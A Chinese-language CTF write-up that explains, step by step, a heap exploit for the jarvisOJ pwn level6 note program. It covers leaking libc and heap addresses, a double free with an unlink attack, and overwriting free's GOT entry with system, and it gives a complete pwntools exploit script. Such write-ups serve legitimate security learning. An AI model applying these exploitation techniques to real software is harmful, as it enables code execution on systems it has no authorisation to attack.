前言
我发现pwn的利用还是要专注于程序本身,之前一直都是模棱两可,以至于题目从远程到本地就不知道如何修改脚本了。就这道题目而言,花了两天算是彻底搞通了。题目来自jarvisOJ pwn level6(https://www.jarvisoj.com/challenges)
下面将通过静态分析、动态调试以及unlink等堆技巧的利用详解该题目
程序分析
首先当时是要搞清楚程序的内容,然后发现漏洞从而利用。
checksec 一下
32位程序,No RELRO说明got表可写。用ida查看程序
查看sub_8048810,建立堆索引
查看sub_8048860,list函数
查看sub_80488E0,new函数
查看sub_8048670,创建note函数。存在内存泄露,后面会验证。
查看sub_80489D0,edit函数
查看sub_8048AD0,delete函数。该函数free掉的堆块没有清零,free的时候也没有进行长度或标志位的判断,存在double free!
泄露libc基地址
note的大小为0x80的整数倍,0x80大小的chunk属于small chunk。free之后会放到small bin中,而且free之后的chunk0的fd、bk会指向main arena中的特定值。首先new两个长度为16的note,然后delete第一个
从上面的图中可以看到索引堆的结构,free掉的堆地址还在索引堆里面,以及main arena中的特定值0xf7fb87b0
。下面计算它与libc基地址的固定偏移
固定偏移为0x1b07b0。再new一个长度小于4的note覆盖掉fd,然后list就可泄露bk,减掉固定偏移就是libc基地址。0a
为回车换行符
代码流程如下
1 2 3 4 5 6 7 8 9
| new('a'*16) new('b'*16) delete(0) new('1234') list() leak_addr = u32(p.recvuntil("aaaa")[-8:-4]) offset = 0x1b07b0 libc_addr = leak_addr - offset print hex(libc_addr)
|
泄露堆地址
当两个不相邻的small chunk被free掉时,会建立双向链表。在上面的基础上,再new两个大小为16的chunk,然后delete第一个和第三个
可以更详细地看到索引堆的结构,以及被free掉的chunk0、chunk2和main arena之间形成的双向链表。可以用上面同样的方法泄露chunk2的地址,然后减掉offset=0x0804bd28-0x0804b000=d28
1 2
| 0xd28 = 0xc10 + 0x80*2 + 0x8*3 3个0x8分别为索引堆、chunk0和chunk1的header
|
1 2 3 4 5 6 7 8 9 10 11 12
| new('c'*16) new('d'*16) delete(0) delete(2) new('1234') list() leak_addr = u32(p.recvuntil("aaaa")[-8:-4]) heap_addr = leak_addr - 0xd28 print hex(heap_addr) delete(0) delete(1) delete(3)
|
unlink
unlink操作如下
1 2 3 4
| FD = p->fd BK = p->bk FD->bk = BK <==> p->fd+12 = p->bk BK->fd = FD <==> p->bk+8 = p->fd
|
进行unlink之前的检查如下
1 2
| if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
|
绕过方法如下
1 2
| fakeFD = p->fd = *p-12 fakeBK = p->bk = *p-8
|
最后结果
因此可以new一个0x80*2的note,然后利用double free 来delete第二个
chunk0的地址为0x97a0018,指向0x97a0018-12=0x97a000c。
1 2 3 4 5 6 7
| chunk0 = heap_addr + 0x18 payload = p32(0) + p32(0x81) + p32(chunk0-12) + p32(chunk0-8) payload = payload.ljust(0x80,'a') payload += p32(0x80) + p32(0x80) payload = payload.ljust(0x100,'a') new(payload) delete(1)
|
exploit
首先edit第一个note,因为此时chunk0所指向的是chunk0-12。先填充前面的12字节
1 2 3 4
| payload = p32(2) + p32(1) +p32(0x4)
|
然后在chunk0处填上free函数的地址
1
| payload += p32(elf.got['free'])
|
然后填充chunk1的索引信息
1 2 3
| payload += p32(1) + p32(8) + p32(heap_addr + 0xca8) payload = payload.ljust(0x100,'a') edit(0,payload)
|
然后将free函数改为system函数,将chunk1的内容改为/bin/sh
1 2
| edit(0,p32(libc_addr + libc.symbols['system'])) edit(1, '/bin/sh\x00')
|
最后delete(1),将free(chunk1)变成system(‘/bin/sh’)。完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
p = process("./freenote_x86")
elf = ELF('./freenote_x86') libc = ELF("/lib32/libc.so.6") a = libc.symbols['system'] print hex(a)
def list(): p.recvuntil("choice:") p.sendline('1')
def new(s): l = len(s) p.recvuntil("choice:") p.sendline('2') p.recvuntil("new note:") p.sendline(str(l)) p.recvuntil("your note:") p.sendline(s)
def edit(num,s): l = len(s) p.recvuntil("choice:") p.sendline('3') p.recvuntil("number:") p.sendline(str(num)) p.recvuntil("of note:") p.sendline(str(l)) p.recvuntil("your note:") p.sendline(s)
def delete(num): p.recvuntil("choice:") p.sendline('4') p.recvuntil("number:") p.sendline(str(num))
new('a'*16) new('b'*16) delete(0) new('1234') list() leak_addr = u32(p.recvuntil("aaaa")[-8:-4]) print hex(leak_addr) offset = 0x1b07b0 libc_addr = leak_addr - offset
new('c'*16) new('d'*16) delete(0) delete(2) new('1234') list() leak_addr = u32(p.recvuntil("aaaa")[-8:-4]) print hex(leak_addr) heap_addr = leak_addr - 0xd28 delete(0) delete(1) delete(3)
chunk0 = heap_addr+0x18 payload = p32(0) + p32(0x81) + p32(chunk0-12) + p32(chunk0-8) payload = payload.ljust(0x80,'a') payload += p32(0x80) + p32(0x80) payload = payload.ljust(0x100,'a') new(payload) delete(1)
payload = p32(2) + p32(1) + p32(4) + p32(elf.got['free']) payload += p32(1) + p32(8) + p32(heap_addr + 0xca8) payload = payload.ljust(0x100,'a') edit(0,payload) edit(0,p32(libc_addr + libc.symbols['system'])) edit(1, '/bin/sh\x00')
delete(1) p.interactive()
|
结果如下
这个方法打不了远程,因为无法获取libc的基地址。